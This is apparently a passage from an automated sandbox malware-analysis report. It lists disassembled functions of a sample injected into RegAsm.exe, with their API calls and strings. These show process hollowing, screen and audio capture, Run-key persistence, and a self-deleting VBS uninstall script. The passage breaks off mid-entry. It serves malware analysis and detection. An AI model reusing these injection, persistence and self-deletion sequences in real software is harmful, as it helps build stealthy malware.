                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                              • EnumSystemLocalesW.KERNEL32(00451EA7,00000001,?,?,?,00452712,lJD,?,?,?,?,?,00444A6C,?,?,?), ref: 00451F87
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                              • String ID:
                              • API String ID: 1084509184-0
                              • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                              • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                              • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                              • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                              Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                              Download Yara Rule
                              APIs
                              • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.0.0 Pro), ref: 0040F8E5
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InfoLocale
                              • String ID:
                              • API String ID: 2299586839-0
                              • Opcode ID: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                              • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                              • Opcode Fuzzy Hash: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                              • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                              Function 00418E76 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                              Download Yara Rule
                              APIs
                              • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                              • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                                • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                              • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                              • DeleteDC.GDI32(00000000), ref: 00418F2A
                              • DeleteDC.GDI32(00000000), ref: 00418F2D
                              • DeleteObject.GDI32(00000000), ref: 00418F30
                              • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                              • DeleteDC.GDI32(00000000), ref: 00418F62
                              • DeleteDC.GDI32(00000000), ref: 00418F65
                              • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                              • GetIconInfo.USER32 ref: 00418FBD
                              • DeleteObject.GDI32(?), ref: 00418FEC
                              • DeleteObject.GDI32(?), ref: 00418FF9
                              • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                              • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
                              • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                              • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                              • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                              • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                              • DeleteDC.GDI32(?), ref: 0041917C
                              • DeleteDC.GDI32(00000000), ref: 0041917F
                              • DeleteObject.GDI32(00000000), ref: 00419182
                              • GlobalFree.KERNEL32(?), ref: 0041918D
                              • DeleteObject.GDI32(00000000), ref: 00419241
                              • GlobalFree.KERNEL32(?), ref: 00419248
                              • DeleteDC.GDI32(?), ref: 00419258
                              • DeleteDC.GDI32(00000000), ref: 00419263
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                              • String ID: DISPLAY
                              • API String ID: 479521175-865373369
                              • Opcode ID: 089398b6e32a15a2bb07324b2b74cb9d300fdf9583fe9699c99010c1927bcddc
                              • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                              • Opcode Fuzzy Hash: 089398b6e32a15a2bb07324b2b74cb9d300fdf9583fe9699c99010c1927bcddc
                              • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                              Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                              • GetProcAddress.KERNEL32(00000000), ref: 00418139
                              • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                              • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                              • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                              • GetProcAddress.KERNEL32(00000000), ref: 00418161
                              • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                              • GetProcAddress.KERNEL32(00000000), ref: 00418175
                              • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                              • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                              • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                              • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                              • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                              • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                              • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                              • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                              • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                              • ResumeThread.KERNEL32(?), ref: 00418435
                              • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                              • GetCurrentProcess.KERNEL32(?), ref: 00418457
                              • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                              • GetLastError.KERNEL32 ref: 0041847A
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                              • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                              • API String ID: 4188446516-3035715614
                              • Opcode ID: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                              • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                              • Opcode Fuzzy Hash: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                              • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                              Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                              • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                              • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                                • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                                • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                              • ExitProcess.KERNEL32 ref: 0040D7D0
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                              • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                              • API String ID: 1861856835-332907002
                              • Opcode ID: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                              • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                              • Opcode Fuzzy Hash: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                              • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                              Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                              • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                              • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                                • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,636E1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                              • ExitProcess.KERNEL32 ref: 0040D419
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                              • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                              • API String ID: 3797177996-2557013105
                              • Opcode ID: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                              • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                              • Opcode Fuzzy Hash: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                              • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                              Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                              • ExitProcess.KERNEL32(00000000), ref: 004124A0
                              • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                              • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                              • CloseHandle.KERNEL32(00000000), ref: 0041253B
                              • GetCurrentProcessId.KERNEL32 ref: 00412541
                              • PathFileExistsW.SHLWAPI(?), ref: 00412572
                              • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                              • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                              • lstrcatW.KERNEL32 ref: 00412601
                                • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                              • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                              • Sleep.KERNEL32(000001F4), ref: 00412682
                              • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                              • CloseHandle.KERNEL32(00000000), ref: 004126A9
                              • GetCurrentProcessId.KERNEL32 ref: 004126AF
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                              • String ID: .exe$8SG$WDH$exepath$open$temp_
                              • API String ID: 2649220323-436679193
                              • Opcode ID: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                              • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                              • Opcode Fuzzy Hash: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                              • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                              Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                              • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                              • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
                              • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                              • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                              • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                              • SetEvent.KERNEL32 ref: 0041B219
                              • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                              • CloseHandle.KERNEL32 ref: 0041B23A
                              • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                              • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                              • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                              • API String ID: 738084811-2094122233
                              • Opcode ID: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                              • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                              • Opcode Fuzzy Hash: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                              • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                              Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                              • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                              • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                              • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                              • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                              • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                              • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                              • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                              • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                              • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                              • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                              • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                              • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                              • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$Write$Create
                              • String ID: RIFF$WAVE$data$fmt
                              • API String ID: 1602526932-4212202414
                              • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                              • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                              • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                              • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                              Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000001,0040764D,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                              • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                              • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                              • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                              • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                              • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                              • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                              • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                              • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                              • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressHandleModuleProc
                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                              • API String ID: 1646373207-255920310
                              • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                              • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                              • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                              • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                              Function 00445D56 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 296COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$Info
                              • String ID: 5}/
                              • API String ID: 2509303402-169246594
                              • Opcode ID: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                              • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                              • Opcode Fuzzy Hash: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                              • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                              Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 0040CE07
                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                              • CopyFileW.KERNEL32 ref: 0040CED0
                              • _wcslen.LIBCMT ref: 0040CEE6
                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                              • CopyFileW.KERNEL32 ref: 0040CF84
                              • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                              • _wcslen.LIBCMT ref: 0040CFC6
                              • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                              • CloseHandle.KERNEL32 ref: 0040D02D
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                              • ExitProcess.KERNEL32 ref: 0040D062
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                              • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$del$open
                              • API String ID: 1579085052-2309681474
                              • Opcode ID: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                              • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                              • Opcode Fuzzy Hash: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                              • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                              Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                              Download Yara Rule
                              APIs
                              • lstrlenW.KERNEL32(?), ref: 0041C036
                              • _memcmp.LIBVCRUNTIME ref: 0041C04E
                              • lstrlenW.KERNEL32(?), ref: 0041C067
                              • FindFirstVolumeW.KERNEL32 ref: 0041C0A2
                              • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                              • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                              • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                              • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                              • _wcslen.LIBCMT ref: 0041C13B
                              • FindVolumeClose.KERNEL32 ref: 0041C15B
                              • GetLastError.KERNEL32 ref: 0041C173
                              • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                              • lstrcatW.KERNEL32 ref: 0041C1B9
                              • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                              • GetLastError.KERNEL32 ref: 0041C1D0
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                              • String ID: ?
                              • API String ID: 3941738427-1684325040
                              • Opcode ID: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                              • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                              • Opcode Fuzzy Hash: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                              • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                              Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,636E1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                              • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                              • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                              • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                              • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                              • Sleep.KERNEL32(00000064), ref: 00412E94
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                              • String ID: /stext "$0TG$0TG$NG$NG
                              • API String ID: 1223786279-2576077980
                              • Opcode ID: bc7e362d57d7670180143ae5cce880ef26dc034d902ff58de5e25bf17600ed29
                              • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
